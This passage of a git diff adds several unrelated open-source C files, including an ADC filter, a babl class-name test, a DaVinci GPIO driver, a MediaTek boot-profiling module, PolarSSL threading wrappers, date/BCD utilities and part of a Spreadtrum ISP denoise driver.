+	*y_val=(signed char) ((*y_val)*100/128);
+}
+
+
+
+/************************************************************************/
+/*			NODE 2 ADC (IR) FILTER FUNCTION							    */
+/************************************************************************/
+
+uint8_t adc_filter_read(void)
+{
+	int i,mean = 0;
+	
+	for(i = 0; i < 10; i++)
+	
+	{
+		mean += adc_read();
+		//_delay_ms(5);
+	}
+	
+	return (uint8_t)(mean/10);
+}
\ No newline at end of file
diff --git a/pool/shard001/C/0022015_babl_class_name.c b/pool/shard001/C/0022015_babl_class_name.c
new file mode 100644
index 0000000000000000000000000000000000000000..8a7bab103dbf2c48ad7338f6ce619283809e349b
--- /dev/null
+++ b/pool/shard001/C/0022015_babl_class_name.c
@@ -0,0 +1,74 @@
+/* babl - dynamically extendable universal pixel conversion library.
+ * Copyright (C) 2005, Øyvind Kolås.
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 3 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General
+ * Public License along with this library; if not, see
+ * <http://www.gnu.org/licenses/>.
+ */
+
+#include "config.h"
+#include <string.h>
+#include <stdio.h>
+#include "babl-internal.h"
+
+struct
+{
+  long klass;                          const char *name;
+} reference[] = {
+  { BABL_INSTANCE,          "BablInstance"         },
+  { BABL_TYPE,              "BablType"             },
+  { BABL_TYPE_INTEGER,      "BablTypeInteger"      },
+  { BABL_TYPE_FLOAT,        "BablTypeFloat"        },
+  { BABL_SAMPLING,          "BablSampling"         },
+  { BABL_COMPONENT,         "BablComponent"        },
+  { BABL_MODEL,             "BablModel"            },
+  { BABL_FORMAT,            "BablFormat"           },
+  { BABL_CONVERSION,        "BablConversion"       },
+  { BABL_CONVERSION_LINEAR, "BablConversionLinear" },
+  { BABL_CONVERSION_PLANE,  "BablConversionPlane"  },
+  { BABL_CONVERSION_PLANAR, "BablConversionPlanar" },
+  { BABL_FISH,              "BablFish"             },
+  { BABL_FISH_REFERENCE,    "BablFishReference"    },
+  { BABL_IMAGE,             "BablImage"            },
+  { BABL_SKY,               "BablSky"              },
+  { 0,                      NULL                   }
+};
+
+static int
+test (void)
+{
+  int i  = 0;
+  int OK = 1;
+
+  while (reference[i].klass)
+    {
+      if (strcmp (reference[i].name, babl_class_name (reference[i].klass)))
+        {
+          OK = 0;
+          babl_log ("'%s'!='%s'\n", reference[i].name, babl_class_name (reference[i].klass));
+        }
+      i++;
+    }
+  return !OK;
+}
+
+int
+main (int    argc,
+      char **argv)
+{
+  babl_init ();
+  if (test ())
+    return -1;
+  babl_exit ();
+  return 0;
+}
diff --git a/pool/shard001/C/0022022_gpio-davinci.c b/pool/shard001/C/0022022_gpio-davinci.c
new file mode 100644
index 0000000000000000000000000000000000000000..61c6e7e68c7d837f2723b9a38d280c467697d3a5
--- /dev/null
+++ b/pool/shard001/C/0022022_gpio-davinci.c
@@ -0,0 +1,211 @@
+/*
+ * TI DaVinci GPIO Support
+ *
+ * Copyright (c) 2006-2007 David Brownell
+ * Copyright (c) 2007, MontaVista Software, Inc. <source@mvista.com>
+ * Copyright (c) 2014 Antony Pavlov <antonynpavlov@gmail.com>
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ */
+
+#include <common.h>
+#include <gpio.h>
+#include <init.h>
+#include <io.h>
+#include <linux/err.h>
+
+#define readl_relaxed	readl
+#define writel_relaxed	writel
+
+struct davinci_gpio_regs {
+	u32	dir;
+	u32	out_data;
+	u32	set_data;
+	u32	clr_data;
+	u32	in_data;
+	u32	set_rising;
+	u32	clr_rising;
+	u32	set_falling;
+	u32	clr_falling;
+	u32	intstat;
+};
+
+struct davinci_gpio_controller {
+	struct gpio_chip	chip;
+	/* Serialize access to GPIO registers */
+	void __iomem		*regs;
+	void __iomem		*set_data;
+	void __iomem		*clr_data;
+	void __iomem		*in_data;
+};
+
+#define chip2controller(chip)	\
+	container_of(chip, struct davinci_gpio_controller, chip)
+
+static struct davinci_gpio_regs __iomem *gpio2regs(void __iomem *gpio_base,
+							unsigned gpio)
+{
+	void __iomem *ptr;
+
+	if (gpio < 32 * 1)
+		ptr = gpio_base + 0x10;
+	else if (gpio < 32 * 2)
+		ptr = gpio_base + 0x38;
+	else if (gpio < 32 * 3)
+		ptr = gpio_base + 0x60;
+	else if (gpio < 32 * 4)
+		ptr = gpio_base + 0x88;
+	else if (gpio < 32 * 5)
+		ptr = gpio_base + 0xb0;
+	else
+		ptr = NULL;
+	return ptr;
+}
+
+static int davinci_get_direction(struct gpio_chip *chip, unsigned offset)
+{
+	struct davinci_gpio_controller *d = chip2controller(chip);
+	struct davinci_gpio_regs __iomem *g = d->regs;
+
+	return ((readl_relaxed(&g->dir)) & (1 << offset)) ?
+		GPIOF_DIR_IN : GPIOF_DIR_OUT;
+}
+
+static inline int __davinci_direction(struct gpio_chip *chip,
+			unsigned offset, bool out, int value)
+{
+	struct davinci_gpio_controller *d = chip2controller(chip);
+	struct davinci_gpio_regs __iomem *g = d->regs;
+	u32 temp;
+	u32 mask = 1 << offset;
+
+	temp = readl_relaxed(&g->dir);
+	if (out) {
+		temp &= ~mask;
+		writel_relaxed(mask, value ? &g->set_data : &g->clr_data);
+	} else {
+		temp |= mask;
+	}
+	writel_relaxed(temp, &g->dir);
+
+	return 0;
+}
+
+static int davinci_direction_in(struct gpio_chip *chip, unsigned offset)
+{
+	return __davinci_direction(chip, offset, false, 0);
+}
+
+static int
+davinci_direction_out(struct gpio_chip *chip, unsigned offset, int value)
+{
+	return __davinci_direction(chip, offset, true, value);
+}
+
+/*
+ * Read the pin's value (works even if it's set up as output);
+ * returns zero/nonzero.
+ *
+ * Note that changes are synched to the GPIO clock, so reading values back
+ * right after you've set them may give old values.
+ */
+static int davinci_gpio_get(struct gpio_chip *chip, unsigned offset)
+{
+	struct davinci_gpio_controller *d = chip2controller(chip);
+	struct davinci_gpio_regs __iomem *g = d->regs;
+
+	return ((1 << offset) & readl_relaxed(&g->in_data)) ? 1 : 0;
+}
+
+/*
+ * Assuming the pin is muxed as a gpio output, set its output value.
+ */
+static void
+davinci_gpio_set(struct gpio_chip *chip, unsigned offset, int value)
+{
+	struct davinci_gpio_controller *d = chip2controller(chip);
+	struct davinci_gpio_regs __iomem *g = d->regs;
+
+	writel_relaxed((1 << offset), value ? &g->set_data : &g->clr_data);
+}
+
+static struct gpio_ops davinci_gpio_ops = {
+	.direction_input = davinci_direction_in,
+	.direction_output = davinci_direction_out,
+	.get_direction = davinci_get_direction,
+	.get = davinci_gpio_get,
+	.set = davinci_gpio_set,
+};
+
+static int davinci_gpio_probe(struct device_d *dev)
+{
+	void __iomem *gpio_base;
+	int ret;
+	u32 val;
+	int i, base;
+	unsigned ngpio;
+	struct davinci_gpio_controller *chips;
+
+	ret = of_property_read_u32(dev->device_node, "ti,ngpio", &val);
+	if (ret) {
+		dev_err(dev, "could not read 'ti,ngpio' property\n");
+		return -EINVAL;
+	}
+
+	ngpio = val;
+
+	if (WARN_ON(ARCH_NR_GPIOS < ngpio))
+		ngpio = ARCH_NR_GPIOS;
+
+	chips = xzalloc((ngpio / 32 + 1) * sizeof(*chips));
+
+	gpio_base = dev_request_mem_region(dev, 0);
+	if (IS_ERR(gpio_base)) {
+		dev_err(dev, "could not get memory region\n");
+		return PTR_ERR(gpio_base);
+	}
+
+	for (i = 0, base = 0; base < ngpio; i++, base += 32) {
+		struct davinci_gpio_regs __iomem *regs;
+		struct gpio_chip *gc;
+
+		gc = &chips[i].chip;
+		gc->ops = &davinci_gpio_ops;
+
+		gc->dev = dev;
+		gc->base = base;
+		gc->ngpio = ngpio - base;
+		if (gc->ngpio > 32)
+			gc->ngpio = 32;
+
+		regs = gpio2regs(gpio_base, base);
+		chips[i].regs = regs;
+		chips[i].set_data = &regs->set_data;
+		chips[i].clr_data = &regs->clr_data;
+		chips[i].in_data = &regs->in_data;
+
+		gpiochip_add(gc);
+	}
+
+	return 0;
+}
+
+static struct of_device_id davinci_gpio_ids[] = {
+	{ .compatible = "ti,dm6441-gpio", },
+	{ /* sentinel */ },
+};
+
+static struct driver_d davinci_gpio_driver = {
+	.name		= "davinci_gpio",
+	.probe		= davinci_gpio_probe,
+	.of_compatible	= DRV_OF_COMPAT(davinci_gpio_ids),
+};
+
+static int davinci_gpio_drv_reg(void)
+{
+	return platform_driver_register(&davinci_gpio_driver);
+}
+coredevice_initcall(davinci_gpio_drv_reg);
diff --git a/pool/shard001/C/0022023_bootprof.c b/pool/shard001/C/0022023_bootprof.c
new file mode 100644
index 0000000000000000000000000000000000000000..81391131cd8483146e2a3ff4cb228c68ab00bee6
--- /dev/null
+++ b/pool/shard001/C/0022023_bootprof.c
@@ -0,0 +1,213 @@
+#include <linux/proc_fs.h>
+#include <linux/sched.h>
+#include <linux/seq_file.h>
+#include <linux/kallsyms.h>
+#include <linux/utsname.h>
+#include <linux/module.h>
+#include <linux/moduleparam.h>
+#include <asm/uaccess.h>
+
+#define SEQ_printf(m, x...)	    \
+ do {			    \
+    if (m)		    \
+	seq_printf(m, x);	\
+    else		    \
+	pr_err(x);	    \
+ } while (0)
+
+
+#define MTSCHED_DEBUG_ENTRY(name) \
+static int mt_##name##_open(struct inode *inode, struct file *file) \
+{ \
+    return single_open(file, mt_##name##_show, inode->i_private); \
+} \
+\
+static const struct file_operations mt_##name##_fops = { \
+    .open = mt_##name##_open, \
+    .write = mt_##name##_write,\
+    .read = seq_read, \
+    .llseek = seq_lseek, \
+    .release = single_release, \
+}
+
+#define BOOT_STR_SIZE 128
+#ifdef CONFIG_MT_ENG_BUILD
+#define BOOT_LOG_NUM 64
+#else
+#define BOOT_LOG_NUM 48
+#endif
+
+struct boot_log_struct {
+	u64 timestamp;
+	char event[BOOT_STR_SIZE];
+} mt_bootprof[BOOT_LOG_NUM];
+int boot_log_count = 0;
+
+static DEFINE_MUTEX(mt_bootprof_lock);
+static int mt_bootprof_enabled = 0;
+static int bootprof_lk_t = 0, bootprof_pl_t = 0;
+extern unsigned int gpt_boot_time(void);
+extern void mt_cputime_switch(int on);
+int boot_finish = 0;
+
+
+module_param_named(pl_t, bootprof_pl_t, int, S_IRUGO | S_IWUSR);
+module_param_named(lk_t, bootprof_lk_t, int, S_IRUGO | S_IWUSR);
+
+/*
+ * Ease the printing of nsec fields:
+ */
+static long long nsec_high(unsigned long long nsec)
+{
+	if ((long long)nsec < 0) {
+		nsec = -nsec;
+		do_div(nsec, 1000000);
+		return -nsec;
+	}
+	do_div(nsec, 1000000);
+
+	return nsec;
+}
+
+static unsigned long nsec_low(unsigned long long nsec)
+{
+	if ((long long)nsec < 0)
+		nsec = -nsec;
+
+	return do_div(nsec, 1000000);
+}
+
+#define SPLIT_NS(x) nsec_high(x), nsec_low(x)
+
+void log_boot(char *str)
+{
+	unsigned long long ts;
+
+	if (0 == mt_bootprof_enabled)
+		return;
+	ts = sched_clock();
+	pr_err("BOOTPROF:%10Ld.%06ld:%s\n", SPLIT_NS(ts), str);
+	if(strncmp("BOOT_Animation:START", str, 20) == 0)
+	{
+		mt_cputime_switch(1);
+	}
+	if(strncmp("BOOT_Animation:END", str, 17) == 0)
+	{
+		mt_cputime_switch(0);
+	}
+    if(boot_log_count >= BOOT_LOG_NUM)
+	{
+		pr_err("[BOOTPROF] not enuough bootprof buffer\n");
+		return;
+	}
+	mutex_lock(&mt_bootprof_lock);
+	mt_bootprof[boot_log_count].timestamp = ts;
+	strcpy((char *)&mt_bootprof[boot_log_count].event, str);
+	boot_log_count++;
+	mutex_unlock(&mt_bootprof_lock);
+}
+
+#ifdef CONFIG_MT_PRINTK_UART_CONSOLE
+extern void mt_disable_uart(void);
+static void bootup_finish(void)
+{
+	mt_disable_uart();
+}
+#else
+static void bootup_finish(void)
+{
+}
+#endif
+/* extern void (*set_intact_mode)(void); */
+static void mt_bootprof_switch(int on)
+{
+	mutex_lock(&mt_bootprof_lock);
+	if (mt_bootprof_enabled ^ on) {
+		if (on) {
+			mt_bootprof_enabled = 1;
+		} else {	/* boot up complete */
+			mt_bootprof_enabled = 0;
+			boot_finish = 1;
+			bootup_finish();
+		}
+	}
+	mutex_unlock(&mt_bootprof_lock);
+}
+
+static ssize_t mt_bootprof_write(struct file *filp, const char *ubuf, size_t cnt, loff_t *data)
+{
+	char buf[BOOT_STR_SIZE];
+	size_t copy_size = cnt;
+
+	if (cnt >= sizeof(buf))
+		copy_size = BOOT_STR_SIZE - 1;
+
+	if (copy_from_user(&buf, ubuf, copy_size))
+		return -EFAULT;
+
+	if (cnt == 1) {
+		if (buf[0] == '0')
+			mt_bootprof_switch(0);
+		else if (buf[0] == '1')
+			mt_bootprof_switch(1);
+	return 1;
+	}
+
+	buf[copy_size] = 0;
+	log_boot(buf);
+
+	return cnt;
+
+}
+
+static int mt_bootprof_show(struct seq_file *m, void *v)
+{
+	int i;
+	SEQ_printf(m, "----------------------------------------\n");
+	SEQ_printf(m, "%d	    BOOT PROF (unit:msec)\n", mt_bootprof_enabled);
+	SEQ_printf(m, "----------------------------------------\n");
+
+	if (bootprof_pl_t > 0 && bootprof_lk_t > 0) {
+		SEQ_printf(m, "%10d        : %s\n", bootprof_pl_t, "preloader");
+		SEQ_printf(m, "%10d        : %s\n", bootprof_lk_t, "lk");
+		SEQ_printf(m, "%10d        : %s\n",
+			   gpt_boot_time() - bootprof_pl_t - bootprof_lk_t, "lk->Kernel");
+		SEQ_printf(m, "----------------------------------------\n");
+	}
+
+	for (i = 0; i < boot_log_count; i++) {
+		SEQ_printf(m, "%10Ld.%06ld : %s\n", SPLIT_NS(mt_bootprof[i].timestamp),
+			   mt_bootprof[i].event);
+	}
+	SEQ_printf(m, "----------------------------------------\n");
+	return 0;
+}
+
+/*** Seq operation of mtprof ****/
+/* MTSCHED_DEBUG_ENTRY(bootprof); */
+static int mt_bootprof_open(struct inode *inode, struct file *file)
+{
+	return single_open(file, mt_bootprof_show, inode->i_private);
+}
+
+static const struct file_operations mt_bootprof_fops = {
+	.open = mt_bootprof_open,
+	.write = mt_bootprof_write,
+	.read = seq_read,
+	.llseek = seq_lseek,
+	.release = single_release,
+};
+
+static int __init init_boot_prof(void)
+{
+	struct proc_dir_entry *pe;
+
+	pe = proc_create("bootprof", 0664, NULL, &mt_bootprof_fops);
+	if (!pe)
+		return -ENOMEM;
+	/* set_intact_mode = NULL; */
+	mt_bootprof_switch(1);
+	return 0;
+}
+
+__initcall(init_boot_prof);
diff --git a/pool/shard001/C/0022025_threading.c b/pool/shard001/C/0022025_threading.c
new file mode 100644
index 0000000000000000000000000000000000000000..2d40569d074fa0591d13d74872206493958ac8ba
--- /dev/null
+++ b/pool/shard001/C/0022025_threading.c
@@ -0,0 +1,156 @@
+/*
+ *  Threading abstraction layer
+ *
+ *  Copyright (C) 2006-2014, Brainspark B.V.
+ *
+ *  This file is part of PolarSSL (http://www.polarssl.org)
+ *  Lead Maintainer: Paul Bakker <polarssl_maintainer at polarssl.org>
+ *
+ *  All rights reserved.
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License along
+ *  with this program; if not, write to the Free Software Foundation, Inc.,
+ *  51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+ */
+
+#if !defined(POLARSSL_CONFIG_FILE)
+#include "polarssl/config.h"
+#else
+#include POLARSSL_CONFIG_FILE
+#endif
+
+#if defined(POLARSSL_THREADING_C)
+
+#include "polarssl/threading.h"
+
+#if defined(POLARSSL_THREADING_PTHREAD)
+
+#ifdef _WIN32
+static int threading_mutex_init_pthread( threading_mutex_t *mutex )
+{
+    if( mutex == NULL )
+        return( POLARSSL_ERR_THREADING_BAD_INPUT_DATA );
+
+    InitializeCriticalSection( mutex );
+
+    return( 0 );
+}
+
+static int threading_mutex_free_pthread( threading_mutex_t *mutex )
+{
+    if( mutex == NULL )
+        return( POLARSSL_ERR_THREADING_BAD_INPUT_DATA );
+
+    DeleteCriticalSection( mutex );
+
+    return( 0 );
+}
+
+static int threading_mutex_lock_pthread( threading_mutex_t *mutex )
+{
+    if( mutex == NULL )
+        return( POLARSSL_ERR_THREADING_BAD_INPUT_DATA );
+
+    EnterCriticalSection( mutex );
+
+    return( 0 );
+}
+
+static int threading_mutex_unlock_pthread( threading_mutex_t *mutex )
+{
+    if( mutex == NULL )
+        return( POLARSSL_ERR_THREADING_BAD_INPUT_DATA );
+
+    LeaveCriticalSection( mutex );
+
+    return( 0 );
+}
+#else
+static int threading_mutex_init_pthread( threading_mutex_t *mutex )
+{
+    if( mutex == NULL )
+        return( POLARSSL_ERR_THREADING_BAD_INPUT_DATA );
+
+    if( pthread_mutex_init( mutex, NULL ) != 0 )
+        return( POLARSSL_ERR_THREADING_MUTEX_ERROR );
+
+    return( 0 );
+}
+
+static int threading_mutex_free_pthread( threading_mutex_t *mutex )
+{
+    if( mutex == NULL )
+        return( POLARSSL_ERR_THREADING_BAD_INPUT_DATA );
+
+    if( pthread_mutex_destroy( mutex ) != 0 )
+        return( POLARSSL_ERR_THREADING_MUTEX_ERROR );
+
+    return( 0 );
+}
+
+static int threading_mutex_lock_pthread( threading_mutex_t *mutex )
+{
+    if( mutex == NULL )
+        return( POLARSSL_ERR_THREADING_BAD_INPUT_DATA );
+
+    if( pthread_mutex_lock( mutex ) != 0 )
+        return( POLARSSL_ERR_THREADING_MUTEX_ERROR );
+
+    return( 0 );
+}
+
+static int threading_mutex_unlock_pthread( threading_mutex_t *mutex )
+{
+    if( mutex == NULL )
+        return( POLARSSL_ERR_THREADING_BAD_INPUT_DATA );
+
+    if( pthread_mutex_unlock( mutex ) != 0 )
+        return( POLARSSL_ERR_THREADING_MUTEX_ERROR );
+
+    return( 0 );
+}
+#endif
+
+int (*polarssl_mutex_init)( threading_mutex_t * ) = threading_mutex_init_pthread;
+int (*polarssl_mutex_free)( threading_mutex_t * ) = threading_mutex_free_pthread;
+int (*polarssl_mutex_lock)( threading_mutex_t * ) = threading_mutex_lock_pthread;
+int (*polarssl_mutex_unlock)( threading_mutex_t * ) = threading_mutex_unlock_pthread;
+#endif /* POLARSSL_THREADING_PTHREAD */
+
+#if defined(POLARSSL_THREADING_ALT)
+static int threading_mutex_fail( threading_mutex_t *mutex )
+{
+    ((void) mutex );
+    return( POLARSSL_ERR_THREADING_BAD_INPUT_DATA );
+}
+
+int (*polarssl_mutex_init)( threading_mutex_t * ) = threading_mutex_fail;
+int (*polarssl_mutex_free)( threading_mutex_t * ) = threading_mutex_fail;
+int (*polarssl_mutex_lock)( threading_mutex_t * ) = threading_mutex_fail;
+int (*polarssl_mutex_unlock)( threading_mutex_t * ) = threading_mutex_fail;
+
+int threading_set_alt( int (*mutex_init)( threading_mutex_t * ),
+                       int (*mutex_free)( threading_mutex_t * ),
+                       int (*mutex_lock)( threading_mutex_t * ),
+                       int (*mutex_unlock)( threading_mutex_t * ) )
+{
+    polarssl_mutex_init = mutex_init;
+    polarssl_mutex_free = mutex_free;
+    polarssl_mutex_lock = mutex_lock;
+    polarssl_mutex_unlock = mutex_unlock;
+
+    return( 0 );
+}
+#endif /* POLARSSL_THREADING_ALT_C */
+
+#endif /* POLARSSL_THREADING_C */
diff --git a/pool/shard001/C/0022026_dateutil.c b/pool/shard001/C/0022026_dateutil.c
new file mode 100644
index 0000000000000000000000000000000000000000..b175ba395eaa2f374fdf786954bd56d192708c1e
--- /dev/null
+++ b/pool/shard001/C/0022026_dateutil.c
@@ -0,0 +1,202 @@
+/* -*- mode: C; c-file-style: "gnu"; indent-tabs-mode: nil; -*- */
+/**
+ * \file dateutil.c
+ * \brief Date utilities implementation.
+ *
+ * Copyright (C) 2010 Signove Tecnologia Corporation.
+ * All rights reserved.
+ * Contact: Signove Tecnologia Corporation (contact@signove.com)
+ *
+ * $LICENSE_TEXT:BEGIN$
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation and appearing
+ * in the file LICENSE included in the packaging of this file; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301  USA
+ * $LICENSE_TEXT:END$
+ *
+ * \date Jun 15, 2010
+ * \author Jose Martins
+ */
+
+#include "dateutil.h"
+#include <stdio.h>
+#include <time.h>
+
+/**
+ * \addtogroup Utility
+ * @{
+ */
+
+/**
+ *  Converts from BCD to numeric representation.
+ *
+ *  \param field representation
+ *
+ *  \return the numeric representation
+ */
+int date_util_convert_bcd_to_number(intu8 field)
+{
+	return 10 * (field >> 4) + (field & 0x000F);
+}
+
+/**
+ *  Converts a given value into BCD (binary-coded decimal) representation.
+ *
+ *  \param number the value to convert to BCD representation
+ *
+ *  \return the given value converted to BCD representation
+ */
+intu8 date_util_convert_number_to_bcd(int number)
+{
+	int aux_result = 1;
+	int aux = number;
+
+	while (aux >= 10) {
+		aux_result *= 10;
+		aux = aux / 10;
+	}
+
+	aux = number;
+	intu8 result = 0;
+
+	while (aux >= 10) {
+		result += aux / aux_result;
+		aux = aux % aux_result;
+		aux_result = aux_result / 10;
+		result = result << 4;
+	}
+
+	result += aux / aux_result;
+
+	return result;
+}
+
+/**
+ *  Creates an AbsoluteTime struct based on given date fields.
+ *
+ *  \param year the year
+ *  \param month the month
+ *  \param day the day
+ *  \param hour the hour
+ *  \param minute the minute
+ *  \param second the second
+ *  \param sec_fractions the second fractions
+ *
+ *  \return an AbsoluteTime struct created from given date fields.
+ */
+AbsoluteTime date_util_create_absolute_time(int year, int month, int day,
+		int hour, int minute, int second, int sec_fractions)
+{
+	AbsoluteTime result;
+	result.century  = date_util_convert_number_to_bcd(year / 100);
+	result.year = date_util_convert_number_to_bcd(year % 100);
+	result.month = date_util_convert_number_to_bcd(month);
+	result.day = date_util_convert_number_to_bcd(day);
+	result.hour = date_util_convert_number_to_bcd(hour);
+	result.minute = date_util_convert_number_to_bcd(minute);
+	result.second = date_util_convert_number_to_bcd(second);
+	result.sec_fractions = date_util_convert_number_to_bcd(sec_fractions);
+	return result;
+}
+
+AbsoluteTime date_util_create_absolute_time_t(time_t time)
+{
+	struct tm *tmq = gmtime(&time);
+	return date_util_create_absolute_time(tmq->tm_year + 1900,
+						tmq->tm_mon + 1,
+						tmq->tm_mday,
+						tmq->tm_hour,
+						tmq->tm_min,
+						tmq->tm_sec,
+						0);
+}
+
+/**
+ *  Tests the AbsoluteTime structs for equality. Returns a negative number if time_1 is less than time_2,
+ *  returns zero if the two AbsoluteTime structs are equal, and returns a positive number is time_1 is
+ *  greater than time_2.
+ *
+ *  \param time_1 the first AbsoluteTime struct to be compared.
+ *  \param time_2 the second AbsoluteTime struct to be compared.
+ *
+ *  \return Returns a negative number if time_1 is less than time_2, returns zero if the
+ *  two AbsoluteTime structs are equal, and returns a positive number is time_1 is greater than time_2.
+ */
+int date_util_compare_absolute_time(AbsoluteTime time_1, AbsoluteTime time_2)
+{
+	int century_1 = date_util_convert_bcd_to_number(time_1.century);
+	int century_2 = date_util_convert_bcd_to_number(time_2.century);
+
+	int year_1 = date_util_convert_bcd_to_number(time_1.year);
+	int year_2 = date_util_convert_bcd_to_number(time_2.year);
+
+	int abs_year_1 = century_1 * 100 + year_1;
+	int abs_year_2 = century_2 * 100 + year_2;
+
+	int month_1 = date_util_convert_bcd_to_number(time_1.month);
+	int month_2 = date_util_convert_bcd_to_number(time_2.month);
+
+	int day_1 = date_util_convert_bcd_to_number(time_1.day);
+	int day_2 = date_util_convert_bcd_to_number(time_2.day);
+
+	int hour_1 = date_util_convert_bcd_to_number(time_1.hour);
+	int hour_2 = date_util_convert_bcd_to_number(time_2.hour);
+
+	int minute_1 = date_util_convert_bcd_to_number(time_1.minute);
+	int minute_2 = date_util_convert_bcd_to_number(time_2.minute);
+
+	int second_1 = date_util_convert_bcd_to_number(time_1.second);
+	int second_2 = date_util_convert_bcd_to_number(time_2.second);
+
+	int second_fract_1 = date_util_convert_bcd_to_number(time_1.sec_fractions);
+	int second_fract_2 = date_util_convert_bcd_to_number(time_2.sec_fractions);
+
+	if (abs_year_1 < abs_year_2)
+		return -1;
+	else if (abs_year_1 > abs_year_2)
+		return 1;
+
+	if (month_1 < month_2)
+		return -1;
+	else if (month_1 > month_2)
+		return 1;
+
+	if (day_1 < day_2)
+		return -1;
+	else if (day_1 > day_2)
+		return 1;
+
+	if (hour_1 < hour_2)
+		return -1;
+	else if (hour_1 > hour_2)
+		return 1;
+
+	if (minute_1 < minute_2)
+		return -1;
+	else if (minute_1 > minute_2)
+		return 1;
+
+	if (second_1 < second_2)
+		return -1;
+	else if (second_1 > second_2)
+		return 1;
+
+	if (second_fract_1 < second_fract_2)
+		return -1;
+	else if (second_fract_1 > second_fract_2)
+		return 1;
+
+	return 0;
+}
+
+/*! @} */
diff --git a/pool/shard001/C/0022027_isp_k_bdn.c b/pool/shard001/C/0022027_isp_k_bdn.c
new file mode 100644
index 0000000000000000000000000000000000000000..9589b8c3f5f82d0a2edb4bd1fe3c33703acc0436
--- /dev/null
+++ b/pool/shard001/C/0022027_isp_k_bdn.c
@@ -0,0 +1,121 @@
+/*
+ * Copyright (C) 2012 Spreadtrum Communications Inc.
+ *
+ * This software is licensed under the terms of the GNU General Public
+ * License version 2, as published by the Free Software Foundation, and
+ * may be copied, distributed, and modified under those terms.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ */
+
+#include <linux/uaccess.h>
+#include <linux/sprd_mm.h>
+#include <video/sprd_isp.h>
+#include "isp_reg.h"
+
+static int32_t isp_k_bdn_block(struct isp_io_param *param)
+{
+	int32_t ret = 0;
+	uint32_t val = 0;
+	uint32_t i = 0;
+	uint32_t j = 0;
+	struct isp_dev_bdn_info_v1 bdn_info;
+
+	memset(&bdn_info, 0x00, sizeof(bdn_info));
+
+	ret = copy_from_user((void *)&bdn_info, param->property_param, sizeof(bdn_info));
+	if (0 != ret) {
+		printk("isp_k_bdn_block: copy error, ret=0x%x\n", (uint32_t)ret);
+		return -1;
+	}
+
+	REG_MWR(ISP_BDN_PARAM, BIT_1, bdn_info.radial_bypass << 1);
+
+	REG_MWR(ISP_BDN_PARAM, 0x7F0, bdn_info.addback << 4);
+
+	for (i = 0; i < 10; i++) {
+		REG_WR(ISP_BDN_DISWEI0_0 + 40 * i, bdn_info.dis[i][0]);
+
+		REG_WR(ISP_BDN_DISWEI0_1 + 40 * i, bdn_info.dis[i][1]);
+	}
+
+	for (i = 0; i < 10; i++) {
+		for (j = 0; j < 7; j++) {
+			REG_WR(ISP_BDN_RANWEI0_0 + i * 40 + j * 4, bdn_info.ran[i][j]);
+		}
+
+		REG_WR(ISP_BDN_RANWEI0_7 + i * 40, bdn_info.ran[i][7]);
+	}
+
+	val = ((bdn_info.offset_x & 0x1FFF) << 12) | (bdn_info.offset_y & 0xFFF);
+	REG_WR(ISP_BDN_1DLNC_CENTER, val);
+
+	val = bdn_info.squ_x2 & 0x3FFFFFF;
+	REG_WR(ISP_BDN_1DLNC_SQUARE_X, val);
+	val = bdn_info.squ_y2 & 0xFFFFFF;
+	REG_WR(ISP_BDN_1DLNC_SQUARE_Y, val);
+
+	val = ((bdn_info.coef2 & 0xFFFF) << 11) | (bdn_info.coef & 0x7FF);
+	REG_WR(ISP_BDN_1DLNC_P, val);
+
+	val = ((bdn_info.start_pos_x & 0x1FFF) << 12) | (bdn_info.start_pos_y & 0xFFF);
+	REG_WR(ISP_BDN_1DLNC_POS, val);
+
+	REG_WR(ISP_BDN_1DLNC_OFFSET, bdn_info.offset & 0x3FFFFFF);
+
+	REG_MWR(ISP_BDN_PARAM, BIT_0, bdn_info.bypass);
+
+	return ret;
+
+}
+
+static int32_t isp_k_bdn_1d_slice_size(struct isp_io_param *param)
+{
+	int32_t ret = 0;
+	struct isp_img_size size = {0, 0};
+	uint32_t val = 0;
+
+	ret = copy_from_user((void *)&size, param->property_param, sizeof(struct isp_img_size));
+	if (0 != ret) {
+		printk("isp_k_bdn_1d_slice_size: copy_from_user error, ret = 0x%x\n", (uint32_t)ret);
+		return -1;
+	}
+
+	val = ((size.width & 0x1FFF) << 12) | (size.height & 0xFFF);
+	REG_WR(ISP_BDN_1DLNC_SIZE, val);
+
+	return ret;
+}
+
+int32_t isp_k_cfg_bdn(struct isp_io_param *param)
+{
+	int32_t ret = 0;
+
+	if (!param) {
+		printk("isp_k_cfg_bdn: param is null error.\n");
+		return -1;
+	}
+
+	if (NULL == param->property_param) {
+		printk("isp_k_cfg_bdn: property_param is null error.\n");
+		return -1;
+	}
+
+	switch(param->property) {
+	case ISP_PRO_BDN_BLOCK:
